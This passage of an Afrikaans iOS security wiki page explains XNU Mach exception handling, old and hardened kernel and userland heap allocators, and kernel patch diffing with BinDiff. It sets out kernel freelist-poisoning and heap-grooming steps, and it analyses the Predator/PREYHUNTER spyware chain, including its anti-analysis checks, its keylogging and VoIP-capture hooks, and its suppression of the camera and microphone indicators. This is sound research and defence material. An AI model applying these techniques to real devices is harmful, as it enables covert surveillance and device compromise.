+- 'n **behavior** (hoe die kernel die boodskap stuur)
+- 'n **flavor** (watter thread state ingesluit moet word)
+
+
+### Debuggers en Exception Handling
+
+'n **debugger** (bv. LLDB) stel 'n **exception port** op die teikentaak of -thread, gewoonlik met `task_set_exception_ports()`.
+
+**Wanneer 'n exception voorkom:**
+
+- Die Mach-boodskap word na die debugger-proses gestuur.
+- Die debugger kan besluit om die exception te **handle** (resume, registers wysig, instruction oorslaan) of dit nie te **handle** nie.
+- As die debugger dit nie hanteer nie, propageer die exception na die volgende vlak (task → host).
+
+
+### Flow van `EXC_BAD_ACCESS`
+
+1. Thread dereference 'n ongeldige pointer → CPU genereer Data Abort.
+
+2. Kernel trap handler roep `exception_triage(EXC_BAD_ACCESS, ...)` aan.
+
+3. Boodskap word gestuur na:
+
+- Thread-port → (debugger kan breakpoint intercept).
+
+- As debugger dit ignoreer → Task-port → (process-level handler).
+
+- As dit geïgnoreer word → Host-port (gewoonlik ReportCrash).
+
+4. As niemand dit hanteer nie → `bsd_exception()` vertaal dit na `SIGSEGV`.
+
+
+### PAC Exceptions
+
+Wanneer **Pointer Authentication** (PAC) misluk (signature mismatch), word 'n **special Mach exception** gegenereer:
+
+- **`EXC_ARM_PAC`** (tipe)
+- Codes kan besonderhede insluit (bv. key type, pointer type).
+
+As die binary die flag **`TFRO_PAC_EXC_FATAL`** het, behandel die kernel PAC-failures as **fatal**, wat debugger-interception omseil. Dit is om te voorkom dat attackers debuggers gebruik om PAC-checks te omseil, en dit is vir **platform binaries** ge-enable.
+
+
+### Software Breakpoints
+
+'n Software breakpoint (`int3` op x86, `brk` op ARM64) word geïmplementeer deur 'n doelbewuste fault te **cause**.\
+Die debugger vang dit via die exception-port:
+
+- Wysig instruction pointer of memory.
+- Restore oorspronklike instruction.
+- Resume execution.
+
+Hierdie selfde meganisme laat jou toe om 'n PAC-exception te "catch" --- **tensy `TFRO_PAC_EXC_FATAL`** gestel is, in welke geval dit nooit die debugger bereik nie.
+
+
+### Conversion na BSD Signals
+
+As geen handler die exception aanvaar nie:
+
+- Kernel roep `task_exception_notify() → bsd_exception()` aan.
+
+- Dit map Mach-exceptions na signals:
+
+| Mach Exception | Signal |
+| --- | --- |
+| EXC_BAD_ACCESS | SIGSEGV of SIGBUS |
+| EXC_BAD_INSTRUCTION | SIGILL |
+| EXC_ARITHMETIC | SIGFPE |
+| EXC_SOFTWARE | SIGTRAP |
+| EXC_BREAKPOINT | SIGTRAP |
+| EXC_CRASH | SIGKILL |
+| EXC_ARM_PAC | SIGILL (op non-fatal) |
+
+
+### Key Files in XNU Source
+
+- `osfmk/kern/exception.c` → Kern van `exception_triage()`, `exception_deliver_*()`.
+
+- `bsd/kern/kern_sig.c` → Signal-deliverylogika.
+
+- `osfmk/arm64/trap.c` → Low-level trap handlers.
+
+- `osfmk/mach/exc.h` → Exception-codes en -strukture.
+
+- `osfmk/kern/task.c` → Opstelling van task-exception-port.
+
+---
+
+## Ou Kernel Heap (Pre-iOS 15 / Pre-A12-era) [[15]](#references)
+
+Die kernel het 'n **zone allocator** (`kalloc`) gebruik wat in fixed-size "zones" verdeel is.
+Elke zone stoor slegs allocations van 'n enkele size class.
+
+Uit die screenshot:
+
+| Zone Name | Element Size | Example Use |
+|----------------------|--------------|-----------------------------------------------------------------------------|
+| `default.kalloc.16` | 16 bytes | Baie klein kernel structs, pointers. |
+| `default.kalloc.32` | 32 bytes | Klein structs, object headers. |
+| `default.kalloc.64` | 64 bytes | IPC-boodskappe, klein kernel buffers. |
+| `default.kalloc.128` | 128 bytes | Medium objects soos dele van `OSObject`. |
+| … | … | … |
+| `default.kalloc.1280`| 1280 bytes | Groot strukture, IOSurface/graphics metadata. |
+
+**Hoe dit gewerk het:**
+- Elke allocation request word **rounded up** na die naaste zone-grootte.
+(Bv. 'n 50-byte request beland in die `kalloc.64`-zone).
+- Memory in elke zone is in 'n **free list** gehou — chunks wat deur die kernel gefree is, het na daardie zone teruggegaan.
+- As jy 'n 64-byte buffer overflow, sou jy die **volgende object in dieselfde zone** oorskryf.
+
+Dit is waarom **heap spraying / feng shui** so effektief was: jy kon object-neighbors voorspel deur allocations van dieselfde size class te spray.
+
+### Die freelist
+
+Binne elke kalloc-zone is freed objects nie direk na die system teruggestuur nie — hulle het in 'n freelist gegaan, 'n linked list van beskikbare chunks.
+
+- Wanneer 'n chunk gefree is, het die kernel 'n pointer aan die begin van daardie chunk geskryf → die address van die volgende free chunk in dieselfde zone.
+
+- Die zone het 'n HEAD-pointer na die eerste free chunk gehou.
+
+- Allocation het altyd die huidige HEAD gebruik:
+
+1. Pop HEAD (gee daardie memory aan die caller terug).
+
+2. Update HEAD = HEAD->next (gestoor in die freed chunk se header).
+
+- Freeing het chunks teruggespush:
+
+- `freed_chunk->next = HEAD`
+
+- `HEAD = freed_chunk`
+
+Die freelist was dus bloot 'n linked list wat binne die freed memory self gebou is.
+
+Normale toestand:
+```
+Zone page (64-byte chunks for example):
+[ A ] [ F ] [ F ] [ A ] [ F ] [ A ] [ F ]
+
+Freelist view:
+HEAD ──► [ F ] ──► [ F ] ──► [ F ] ──► [ F ] ──► NULL
+(next ptrs stored at start of freed chunks)
+```
+### Exploiting the freelist
+
+Omdat die eerste 8 bytes van ’n free chunk = freelist pointer is, kan ’n aanvaller dit korrupteer:
+
+1. **Heap overflow** in ’n aangrensende freed chunk → overwrite sy “next”-pointer.
+
+2. **Use-after-free**-skryfaksie in ’n freed object → overwrite sy “next”-pointer.
+
+Dan, met die volgende allocation van daardie grootte:
+
+- Die allocator pop die corrupted chunk.
+
+- Volg die attacker-supplied “next”-pointer.
+
+- Gee ’n pointer na arbitrêre geheue terug, wat fake object primitives of targeted overwrite moontlik maak.
+
+Visuele voorbeeld van freelist poisoning:
+```
+Before corruption:
+HEAD ──► [ F1 ] ──► [ F2 ] ──► [ F3 ] ──► NULL
+
+After attacker overwrite of F1->next:
+HEAD ──► [ F1 ]
+(next) ──► 0xDEAD_BEEF_CAFE_BABE (attacker-chosen)
+
+Next alloc of this zone → kernel hands out memory at attacker-controlled address.
+```
+Hierdie freelist-ontwerp het exploitation voor hardening hoogs effektief gemaak: voorspelbare bure deur heap sprays, rou pointer-freelist-skakels, en geen tipe-separasie het aanvallers toegelaat om UAF/overflow-foute tot arbitrêre kernel-geheuebeheer te eskaleer.
+
+### Heap Grooming / Feng Shui
+Die doel van heap grooming is om die **heap-uitleg te vorm** sodat die teiken- (victim-) objek reg langs ’n aanvaller-beheerde objek sit wanneer ’n aanvaller ’n overflow of use-after-free aktiveer.\
+Op dié manier kan die aanvaller, wanneer memory corruption plaasvind, die victim-objek betroubaar met beheerde data oorskryf.
+
+**Stappe:**
+
+1. Spray allocations (vul die gate)
+- Met verloop van tyd raak die kernel-heap gefragmenteer: sommige zones het gate waar ou
+objekte vrygestel is.
+- Die aanvaller maak eers baie dummy allocations om hierdie gapings te vul, sodat
+die heap “gepak” en voorspelbaar word.
+
+2. Force new pages
+- Sodra die gate gevul is, moet die volgende allocations uit nuwe pages kom
+wat by die zone gevoeg is.
+- Vars pages beteken objekte sal saam gegroepeer wees, nie oor ou gefragmenteerde
+geheue versprei nie.
+- Dit gee die aanvaller baie beter beheer oor bure.
+
+3. Place attacker objects
+- Die aanvaller spray nou weer en skep baie aanvaller-beheerde objekte
+in hierdie nuwe pages.
+- Hierdie objekte is voorspelbaar in grootte en plasing, aangesien hulle almal
+aan dieselfde zone behoort.
+
+4. Free a controlled object (maak ’n gaping)
+- Die aanvaller stel doelbewus een van hul eie objekte vry.
+- Dit skep ’n “gat” in die heap, wat die allocator later vir
+die volgende allocation van daardie grootte sal hergebruik.
+
+5. Victim object lands in the hole
+- Die aanvaller aktiveer die kernel om die victim-objek te allokeer (die een
+wat hulle wil korrupteer).
+- Omdat die gat die eerste beskikbare slot in die freelist is, word die victim
+presies geplaas waar die aanvaller hul objek vrygestel het.
+
+6. Overflow / UAF into victim
+- Die aanvaller het nou aanvaller-beheerde objekte rondom die victim.
+- Deur vanaf een van hul eie objekte te overflow (of ’n vrygestelde een te
+hergebruik), kan hulle die victim se geheuevelde betroubaar met gekose waardes
+oorskryf.
+
+**Waarom dit werk**:
+
+- Zone allocator-voorspelbaarheid: allocations van dieselfde grootte kom altyd uit
+dieselfde zone.
+- Freelist-gedrag: nuwe allocations hergebruik eerste die mees onlangs vrygestelde chunk.
+- Heap sprays: die aanvaller vul geheue met voorspelbare inhoud en beheer die uitleg.
+- Eindresultaat: die aanvaller beheer waar die victim-objek land en watter data
+daarlangs sit.
+
+---
+
+## Moderne Kernel Heap (iOS 15+/A12+ SoCs)
+
+Apple het die allocator gehard en **heap grooming baie moeiliker gemaak**: [[12]](#references)
+
+### 1. Van Classic kalloc na kalloc_type
+- **Voorheen**: daar was ’n enkele `kalloc.`-zone vir elke grootteklas (16, 32, 64, … 1280, ens.). Enige objek van daardie grootte is daar geplaas → aanvallerobjekte kon langs bevoorregte kernel-objekte sit.
+- **Nou**:
+- Kernel-objekte word uit **getipeerde zones** (`kalloc_type`) geallokeer.
+- Elke tipe objek (bv. `ipc_port_t`, `task_t`, `OSString`, `OSData`) het sy eie toegewyde zone, selfs al is hulle dieselfde grootte.
+- Die koppeling tussen objektipe ↔ zone word tydens compile time uit die
+**kalloc_type-stelsel** gegenereer.
+
+’n Aanvaller kan nie meer waarborg dat beheerde data (`OSData`) langs sensitiewe kernel-objekte (`task_t`) van dieselfde grootte beland nie.
+
+### 2. Slabs en Per-CPU Caches
+- Die heap word in **slabs** verdeel (pages geheue wat in vaste-grootte chunks vir daardie zone gesny is).
+- Elke zone het ’n **per-CPU cache** om contention te verminder.
+- Allocation-pad:
+1. Probeer per-CPU cache.
+2. Indien leeg, haal uit die globale freelist.
+3. Indien die freelist leeg is, allokeer ’n nuwe slab (een of meer pages).
+- **Voordeel**: Hierdie desentralisasie maak heap sprays minder deterministies, aangesien allocations uit verskillende CPU-caches bevredig kan word.
+
+### 3. Randomization binne zones
+- Binne ’n zone word vrygestelde elemente nie in eenvoudige FIFO/LIFO-volgorde teruggegee nie.
+- Moderne XNU gebruik **geënkodeerde freelist-pointers** (safe-linking soos Linux, ingestel rondom iOS 14).
+- Elke freelist-pointer word met ’n per-zone geheime cookie **XOR-geënkodeer**.
+- Dit verhoed dat aanvallers ’n vals freelist-pointer vervals as hulle ’n write primitive verkry.
+- Sommige allocations word **gerandomiseer in hul plasing binne ’n slab**, sodat spraying nie adjacency waarborg nie.
+
+### 4. Guarded Allocations
+- Sekere kritieke kernel-objekte (bv. credentials en task structures) word in **guarded zones** geallokeer.
+- Hierdie zones voeg **guard pages** (unmapped geheue) tussen slabs in, of gebruik **redzones** rondom objekte.
+- Enige overflow na die guard page veroorsaak ’n fault → onmiddellike panic in plaas van stille corruption.
+
+### 5. Page Protection Layer (PPL) en SPTM
+- Selfs al beheer jy ’n vrygestelde objek, kan jy nie alle kernel-geheue wysig nie:
+- **PPL (Page Protection Layer)** verseker dat sekere streke (bv. code-signing-data en entitlements) **read-only** is, selfs vir die kernel self.
+- Op **A15/M2+-toestelle** word hierdie rol deur **SPTM (Secure Page Table Monitor)** + **TXM (Trusted Execution Monitor)** vervang/uitgebrei.
+- Hierdie hardware-afgedwonge lae beteken aanvallers kan nie vanaf ’n enkele heap corruption eskaleer na arbitrêre patching van kritieke security structures nie.
+- **PAC (Pointer Authentication Codes)** beskerm baie kernel-pointers, veral function pointers en vtables, wat vervalste of korrupte teikens moeiliker maak om te gebruik.
+- **Zone enforcement** kan vereis dat ’n objek deur sy korrekte getipeerde zone teruggegee word; ongeldige cross-zone frees kan afgekeur word of die kernel laat panics.
+
+### 6. Large Allocations
+- Nie alle allocations gaan deur `kalloc_type` nie.
+- Baie groot versoeke (bo ongeveer 16 KB) omseil getipeerde zones en word direk uit
+**kernel VM (kmem)** deur page allocations bedien.
+- Hierdie is minder voorspelbaar, maar ook minder exploitable, aangesien hulle nie slabs
+met ander objekte deel nie.
+
+### 7. Allocation Patterns Attackers Target
+Selfs met hierdie protections soek aanvallers steeds na:
+- **Reference count objects**: as jy met retain/release-counters kan peuter, kan jy use-after-free veroorsaak.
+- **Objects with function pointers (vtables)**: om een te korrupteer, lewer steeds control flow.
+- **Shared memory objects (IOSurface, Mach ports)**: hierdie bly teikens omdat hulle user ↔ kernel oorbrug.
+
+Maar — anders as voorheen — kan jy nie bloot `OSData` spray en verwag dat dit langs ’n `task_t` sal wees nie. Jy benodig **type-specific bugs** of **info leaks** om suksesvol te wees.
+
+### Voorbeeld: Allocation Flow in Modern Heap
+
+Gestel userspace roep IOKit aan om ’n `OSData`-objek te allokeer:
+
+1. **Type lookup** → `OSData` map na `kalloc_type_osdata`-zone (grootte 64 bytes).
+2. Kontroleer per-CPU cache vir vrye elemente.
+- Indien gevind → gee een terug.
+- Indien leeg → gaan na globale freelist.
+- Indien freelist leeg → allokeer ’n nuwe slab (page van 4KB → 64 chunks van 64 bytes).
+3. Gee chunk aan die caller terug.
+
+**Freelist-pointer-protection**:
+- Elke vrygestelde chunk stoor die adres van die volgende vrye chunk, maar geënkodeer
+met ’n geheime sleutel.
+- Om daardie veld met aanvallerdata te oorskryf, sal nie werk tensy jy die sleutel ken nie.
+
+---
+
+## Vergelykingstabel
+
+| Kenmerk | **Ou Heap (Pre-iOS 15)** | **Moderne Heap (iOS 15+ / A12+)** |
+|---------------------------------|------------------------------------------------------------|--------------------------------------------------|
+| Allocation-granulariteit | Vaste grootte-emmers (`kalloc.16`, `kalloc.32`, ens.) | Grootte + **tipe-gebaseerde emmers** (`kalloc_type`) |
+| Voorspelbaarheid van plasing | Hoog (objekte van dieselfde grootte langs mekaar) | Laag (groepering volgens tipe + randomness) |
+| Freelist-bestuur | Rou pointers in vrygestelde chunks (maklik om te korrupteer) | **Geënkodeerde pointers** (safe-linking-styl) |
+| Beheer oor aangrensende objekte | Maklik deur sprays/frees (feng shui voorspelbaar) | Moeilik — getipeerde zones skei aanvallerobjekte |
+| Kernel-data-/code-protections | Min hardware-protections | **PPL / SPTM** beskerm page tables en code pages, en **PAC** beskerm pointers |
+| Validasie van allocation-hergebruik | Geen (freelist-pointers rou) | **zone_require / zone enforcement** |
+| Exploit-betroubaarheid | Hoog met heap sprays | Baie laer; logic bugs of info leaks word vereis |
+| Hantering van large allocations | Alle klein allocations word eenders bestuur | Grotes omseil zones → word deur VM hanteer |
+
+---
+
+## Moderne Userland Heap (iOS, macOS — type-aware / xzone malloc) [[12]](#references)
+
+In onlangse Apple OS-weergawes (veral iOS 17+), het Apple ’n veiliger userland allocator, **xzone malloc** (XZM), bekendgestel. Dit is die user-space-analogon van die kernel se `kalloc_type`, met type awareness, metadata-isolasie en memory-tagging safeguards. [[12]](#references)
+
+### Doelwitte & Ontwerpbeginsels
+
+- **Type segregation / type awareness**: groepeer allocations volgens *tipe of gebruik (pointer teenoor data)* om type confusion en cross-type reuse te voorkom.
+- **Metadata-isolasie**: skei heap-metadata (bv. free lists en size/state-bits) van objek-payloads sodat out-of-bounds writes minder geneig is om metadata te korrupteer.
+- **Guard pages / redzones**: voeg unmapped pages of padding rondom allocations in om overflows op te spoor.
+- **Memory tagging (EMTE / MIE)**: werk saam met hardware tagging om use-after-free, out-of-bounds en ongeldige accesses op te spoor.
+- **Skaalbare werkverrigting**: behou lae overhead, vermy oormatige fragmentation en ondersteun baie allocations per sekonde met lae latency.
+
+### Argitektuur & Komponente
+
+Hieronder is die hoofelemente in die xzone allocator:
+
+#### Segment Groups & Zones
+
+- **Segment groups** partitioneer die address space volgens gebruikskategorieë: bv. `data`, `pointer_xzones`, `data_large`, `pointer_large`.
+- Elke segment group bevat **segments** (VM-ranges) wat allocations vir daardie kategorie huisves.
+- Elke segment het ’n geassosieerde **metadata slab** (afsonderlike VM-area) wat metadata vir daardie segment stoor (bv. free/used-bits en size classes). Hierdie **out-of-line (OOL) metadata** verseker dat metadata nie met objek-payloads vermeng word nie, wat corruption deur overflows beperk.
+- Segments word in **chunks** (snitte) gesny, wat weer in **blocks** (allocation units) onderverdeel word. ’n Chunk is aan ’n spesifieke size class en segment group gekoppel (alle blocks in ’n chunk deel dus dieselfde grootte en kategorie).
+- Vir small / medium allocations gebruik dit vaste-grootte chunks; vir large/huges kan dit afsonderlik map.
+
+#### Chunks & Blocks
+
+- ’n **Chunk** is ’n streek (dikwels verskeie pages) wat aan allocations van een size class binne ’n groep toegewy is.
+- Binne ’n chunk is **blocks** slots wat vir allocations beskikbaar is. Vrygestelde blocks word deur die metadata slab nagespoor — bv. deur bitmaps of free lists wat out-of-line gestoor word.
+- Tussen chunks (of binne hulle) kan **guard slices / guard pages** ingevoeg word (bv. unmapped slices) om out-of-bounds writes op te spoor.
+
+#### Type / Type ID
+
+- Elke allocation site (of call na malloc, calloc, ens.) word met ’n **type identifier** (`malloc_type_id_t`) geassosieer wat aandui watter soort objek geallokeer word. Daardie type ID word aan die allocator gegee, wat dit gebruik om te kies uit watter zone / segment die allocation bedien moet word.
+- Daarom kan twee allocations, selfs al is hulle dieselfde grootte, in heeltemal verskillende zones beland as hul tipes verskil.
+- In vroeë iOS 17-weergawes was nie alle APIs (bv. CFAllocator) volledig type-aware nie; Apple het sommige van hierdie swakhede in iOS 18 aangespreek.
+
+---
+
+### Allocation & Freeing Workflow
+
+Hier is ’n hoëvlakvloei van hoe allocation en deallocation in xzone werk:
+
+1. **malloc / calloc / realloc / typed alloc** word met ’n grootte en type ID aangeroep.
+2. Die allocator gebruik die **type ID** om die korrekte segment group / zone te kies.
+3. Binne daardie zone/segment soek dit ’n chunk met vrye blocks van die versoekte grootte.
+- Dit kan **local caches / per-thread pools** of **free block lists** uit metadata raadpleeg.
+- Indien geen vrye block beskikbaar is nie, kan dit ’n nuwe chunk in daardie zone allokeer.
+4. Die metadata slab word opgedateer (free bit cleared, bookkeeping).
+5. Indien memory tagging (EMTE) gebruik word, kry die teruggeg־eerde block ’n **tag**, en metadata word opgedateer om sy “live”-status aan te dui.
+6. Wanneer `free()` geroep word:
+- Die block word as vrygestel in metadata gemerk (deur OOL slab).
+- Die block kan in ’n free list geplaas of vir hergebruik gepool word.
+- Opsioneel kan block-inhoud uitgevee of poisoned word om data leaks of use-after-free exploitation te verminder.
+- Die hardware-tag wat met die block geassosieer is, kan ongeldig gemaak of hertag word.
+- Indien ’n hele chunk vry raak (alle blocks is vrygestel), kan die allocator daardie chunk **reclaim** (unmap of aan die OS teruggee) onder memory pressure.
+
+---
+
+### Security Features & Hardening
+
+Hierdie is die defenses wat in moderne userland xzone ingebou is:
+
+| Feature | Doel | Notas |
+|---|-------------------------------|-----------------------------------------|
+| **Metadata decoupling** | Voorkom dat overflow metadata korrupteer | Metadata leef in ’n afsonderlike VM-region (metadata slab)|
+| **Guard pages / unmapped slices** | Spoor out-of-bounds writes op | Help om buffer overflows op te spoor eerder as om aangrensende blocks stilweg te korrupteer|
+| **Type-based segregation** | Voorkom cross-type reuse & type confusion | Selfs allocations van dieselfde grootte uit verskillende tipes gaan na verskillende zones|
+| **Memory Tagging (EMTE / MIE)** | Spoor ongeldige access, stale references, OOB en UAF op | xzone werk saam met hardware EMTE in synchronous mode (“Memory Integrity Enforcement”)|
+| **Delayed reuse / poisoning / zap** | Verminder die kans op use-after-free exploitation | Vrygestelde blocks kan ge-poison, ge-zero of in quarantine geplaas word voor hergebruik |
+| **Chunk reclamation / dynamic unmapping** | Verminder memory waste en fragmentation | Hele chunks kan ge-unmap word wanneer hulle ongebruik is |
+| **Randomization / placement variation** | Voorkom deterministiese adjacency | Blocks in ’n chunk en chunk selection kan gerandomiseerde aspekte hê |
+| **Segregation of “data-only” allocations** | Skei allocations wat nie pointers stoor nie | Verminder aanvallerbeheer oor metadata of control fields|
+
+---
+
+### Interaction with Memory Integrity Enforcement (MIE / EMTE)
+
+- Apple se MIE (Memory Integrity Enforcement) is die hardware + OS-framework wat **Enhanced Memory Tagging Extension (EMTE)** in ’n altyd-aan, synchronous mode oor belangrike attack surfaces bring. [[12]](#references)
+- Die xzone allocator is ’n fundamentele grondslag van MIE in user space: allocations wat deur xzone gedoen word, kry tags, en accesses word deur hardware nagegaan.
+- In MIE word die allocator, tag assignment, metadata management en tag confidentiality enforcement geïntegreer om te verseker dat memory errors (bv. stale reads, OOB en UAF) onmiddellik opgespoor word, eerder as om later uitgebuit te word.
+
+---
+
+Saam maak type segregation, out-of-line metadata, guard regions en memory tagging deterministiese cross-type heap corruption aansienlik minder betroubaar as met ouer allocators.
+
+
+---
+
+## (Ou) Physical Use-After-Free via IOSurface
+
+{{#ref}}
+ios-physical-uaf-iosurface.md
+{{#endref}}
+
+---
+
+## Ghidra Install BinDiff
+
+Laai die BinDiff DMG van [https://www.zynamics.com/bindiff/manual](https://www.zynamics.com/bindiff/manual) af en installeer dit.
+
+Open Ghidra met `ghidraRun`, gaan na `File` → `Install Extensions`, druk die add-knoppie, kies `/Applications/BinDiff/Extra/Ghidra/BinExport`, en installeer dit. Die oorspronklike workflow gaan voort ná Ghidra se version-mismatch-waarskuwing; verifieer compatibility noukeurig, aangesien ’n unsupported Ghidra/BinExport-kombinasie steeds tydens runtime kan faal.
+
+### Gebruik van BinDiff met Kernel-weergawes
+
+1. Gaan na die bladsy [https://ipsw.me/](https://ipsw.me/) en laai die iOS-weergawes wat jy wil diff af. Dit sal `.ipsw`-lêers wees.
+2. Decompress totdat jy die bin-formaat van die kernelcache van albei `.ipsw`-lêers kry. Jy het inligting oor hoe om dit te doen by:
+
+{{#ref}}
+../../macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md
+{{#endref}}
+
+3. Open Ghidra met `ghidraRun`, skep ’n nuwe projek en laai die kernelcaches.
+4. Open elke kernelcache sodat dit outomaties deur Ghidra geanaliseer word.
+5. Regskliek dan in die projekvenster van Ghidra op elke kernelcache, kies `Export`, kies formaat `Binary BinExport (v2) for BinDiff` en exporteer hulle.
+6. Open BinDiff, skep ’n nuwe workspace en voeg ’n nuwe diff by. Stel as primary file die kernelcache wat die vulnerability bevat, en as secondary file die gepatchte kernelcache.
+
+---
+
+## Vind die korrekte XNU-weergawe
+
+Om ’n spesifieke iOS-weergawe te ondersoek, identifiseer eers die ooreenstemmende XNU-release in [The iPhone Wiki's archived kernel table](https://web.archive.org/web/20260713091137/https://www.theiphonewiki.com/wiki/Kernel).[[17]](#references)
+
+Byvoorbeeld, die weergawes `15.1 RC`, `15.1` en `15.1.1` gebruik die weergawe `Darwin Kernel Version 21.1.0: Wed Oct 13 19:14:48 PDT 2021; root:xnu-8019.43.1~1/RELEASE_ARM64_T8006`.
+
+
+## JSKit-Based Safari Chains en PREYHUNTER Stagers
+
+### Renderer RCE-abstraksie met JSKit
+- **Herbruikbare entry**: Onlangse chains in die wild het ’n WebKit JIT-bug (gepatch as CVE-2023-41993) misbruik bloot om JavaScript-vlak arbitrary read/write te verkry. Die exploit pivot onmiddellik na ’n aangekoopte framework genaamd **JSKit**, sodat enige toekomstige Safari-bug slegs dieselfde primitive hoef te lewer. [[13]](#references)
+- **Weergawe-abstraksie & PAC-bypasses**: JSKit bundel ondersteuning vir ’n wye reeks iOS-releases saam met verskeie, kiesbare Pointer Authentication Code bypass-modules. Die framework fingerprint die target build, kies die toepaslike PAC-bypass-logika en verifieer elke stap (primitive validation, shellcode launch) voordat dit voortgaan.
+- **Manual Mach-O mapping**: JSKit parse Mach-O-headers direk uit geheue, resolve die symbols wat dit benodig binne dyld-cached images en kan addisionele Mach-O-payloads met die hand map sonder om hulle na disk te skryf. Dit hou die renderer-process in-memory en omseil code-signature checks wat aan filesystem artifacts gekoppel is.
+- **Portfolio model**: Debug strings soos *"exploit number 7"* wys dat die suppliers verskeie interchangeable WebKit-exploits handhaaf. Sodra die JS primitive by JSKit se interface pas, bly die res van die chain onveranderd oor campaigns heen.
+
+### Kernel bridge: IPC UAF -> code-sign bypass-patroon
+- **Kernel IPC UAF (CVE-2023-41992)**: Die tweede stage, wat steeds binne die Safari-context loop, aktiveer ’n kernel use-after-free in IPC-code, re-allokeer die vrygestelde objek vanuit userland en misbruik die dangling pointers om na arbitrary kernel read/write te pivot. Die stage hergebruik ook PAC-bypass-materiaal wat voorheen deur JSKit bereken is, in plaas daarvan om dit te herbereken. [[13]](#references)
+- **Code-signing bypass (CVE-2023-41991)**: Met kernel R/W beskikbaar, patch die exploit die trust cache / code-signing-structures sodat unsigned payloads as `system` uitgevoer word. Die stage stel daarna ’n lightweight kernel R/W-service aan latere payloads beskikbaar.
+- **Composed pattern**: Hierdie chain demonstreer ’n herbruikbare resep wat defenders vorentoe behoort te verwag:
+```
+WebKit renderer RCE -> kernel IPC UAF -> kernel arbitrary R/W -> code-sign bypass -> unsigned system stager
+```
+### PREYHUNTER helper & watcher modules
+- **Watcher anti-analysis**: 'n Toegewyde watcher-binêre profileer die toestel voortdurend en staak die kill-chain wanneer 'n navorsingsomgewing bespeur word. Dit inspekteer `security.mac.amfi.developer_mode_status`, die teenwoordigheid van 'n `diagnosticd`-konsole, locales `US` of `IL`, jailbreak-spore soos **Cydia**, prosesse soos `bash`, `tcpdump`, `frida`, `sshd` of `checkrain`, mobiele AV-apps (McAfee, AvastMobileSecurity, NortonMobileSecurity), pasgemaakte HTTP-proxy-instellings en pasgemaakte root CAs. As enige kontrole misluk, word verdere payload-aflewering geblokkeer. [[14]](#references)
+- **Helper surveillance hooks**: Die helper-komponent kommunikeer met ander fases deur `/tmp/helper.sock`, en laai dan hook-stelle genaamd **DMHooker** en **UMHooker**. Hierdie hooks tap VOIP-klankpaaie (opnames word gestoor onder `/private/var/tmp/l/voip_%lu_%u_PART.m4a`), implementeer 'n stelselwye keylogger, neem foto's sonder 'n UI vas en hook SpringBoard om kennisgewings te onderdruk wat hierdie aksies normaalweg sou veroorsaak. Die helper tree dus op as 'n stealthy validasie- en ligte surveillance-laag voordat swaarder implants soos Predator afgelaai word.
+
+- **HiddenDot indicator suppression in SpringBoard**: Met kernel-vlak kode-inspuiting hook Predator `SBSensorActivityDataProvider._handleNewDomainData:` (die samevoegingspunt vir sensoraktiwiteit). Die hook stel die Objective-C `self`-wyser (`x0`) op nul sodat die oproep `[nil _handleNewDomainData:newData]` word, wat kamera-/mikrofoonopdaterings laat vaar en beide groen/oranje kolletjies onderdruk. [[14]](#references)
+- **Mach exception-based hooking flow (DMHooker)**: Hooks word geïmplementeer deur `EXC_BREAKPOINT` + exception ports, waarna `thread_set_state` registers wysig en uitvoering hervat. Return code `2` beteken “continue with modified thread state.”
+- **PAC-aware redirection for camera access checks**: In `mediaserverd` lokaliseer 'n pattern-scan (byvoorbeeld `memmem`) 'n private roetine naby `FigVideoCaptureSourceCreateWithSourceInfo` binne `CMCapture.framework`. Die hook retourneer `3` om te herlei deur 'n vooraf-ondertekende PAC-gekasde return address te gebruik, wat aan PAC voldoen terwyl die kontrole omseil word.
+- **VoIP capture pipeline in `mediaserverd`**: Hook `AudioConverterNew` en `AudioConverterConvertComplexBuffer+52` om buffers te tap, die sample rate uit buffergroottes af te lei, float32 PCM → int16 met NEON om te skakel, 4-kanaal na stereo af te meng en die data deur `ExtAudioFileWrite()` te bewaar. Die VoIP-module self onderdruk nie indicators nie; operators moet HiddenDot dus afsonderlik aktiveer.
+
+### WebKit DFG Store-Barrier UAF + ANGLE PBO OOB (iOS 26.1)
+
+{{#ref}}
+webkit-dfg-store-barrier-uaf-angle-oob.md
+{{#endref}}
+
+### iMessage/Media Parser Zero-Click Chains
+
+{{#ref}}
+imessage-media-parser-zero-click-coreaudio-pac-bypass.md
+{{#endref}}
+
+## References
+
+- [1] [Ondersoek na Pointer Authentication op die iPhone XS - Project Zero](https://googleprojectzero.blogspot.com/2019/02/examining-pointer-authentication-on.html)
+- [2] [iOS Kernel PAC, Een Jaar Later - Brandon Azad, Black Hat USA 2020](https://bazad.github.io/presentations/BlackHat-USA-2020-iOS_Kernel_PAC_One_Year_Later.pdf)
+- [3] [Apple PAC, Vier Jaar Later - Zecao Cai et al., Black Hat USA 2023](https://i.blackhat.com/BH-US-23/Presentations/US-23-Zec-Apple-PAC-Four-Years-Later.pdf)
+- [4] [Geen klikke benodig nie - Samuel Groß, OffensiveCon 2020](https://saelo.github.io/presentations/offensivecon_20_no_clicks.pdf)
+- [5] [Project Zero Issue 2044 - onvoldoende beskermde PAC-ondertekende function pointer imports](https://bugs.chromium.org/p/project-zero/issues/detail?id=2044)
+- [6] [Epsilon Sec-blog - plasings gemerk "pac"](https://blog.epsilon-sec.com/tag/pac.html)
+- [7] [iOS 18.4 — dlsym as skadelik beskou - Synacktiv](https://www.synacktiv.com/en/publications/ios-184-dlsym-considered-harmful)
+- [8] [Ontsnap uit die Safari Sandbox - Synacktiv](https://www.synacktiv.com/sites/default/files/2024-05/escaping_the_safari_sandbox_slides.pdf)
+- [9] [Afstand-iPhone-exploitation Deel 3: XNU Kernel Fuzzing en SLOP - Project Zero](https://googleprojectzero.blogspot.com/2020/01/remote-iphone-exploitation-part-3.html)
+- [10] [Die kern van Apple is PPL: Die XNU-kernel se kernel breek - Project Zero](https://projectzero.google/2020/07/the-core-of-apple-is-ppl-breaking-xnu.html)
+- [11] [Apple SoC-sekuriteit - Apple Platform Security-gids](https://support.apple.com/guide/security/apple-soc-security-sec87716a080/web)
+- [12] [Memory Integrity Enforcement: 'n Volledige visie vir geheuesekuriteit in Apple-toestelle - Apple Security Research](https://security.apple.com/blog/memory-integrity-enforcement/)
+- [13] [Google Threat Intelligence – Intellexa zero-day exploits hou aan om deur die spyware-industrie te weerklink](https://cloud.google.com/blog/topics/threat-intelligence/intellexa-zero-day-exploits-continue)
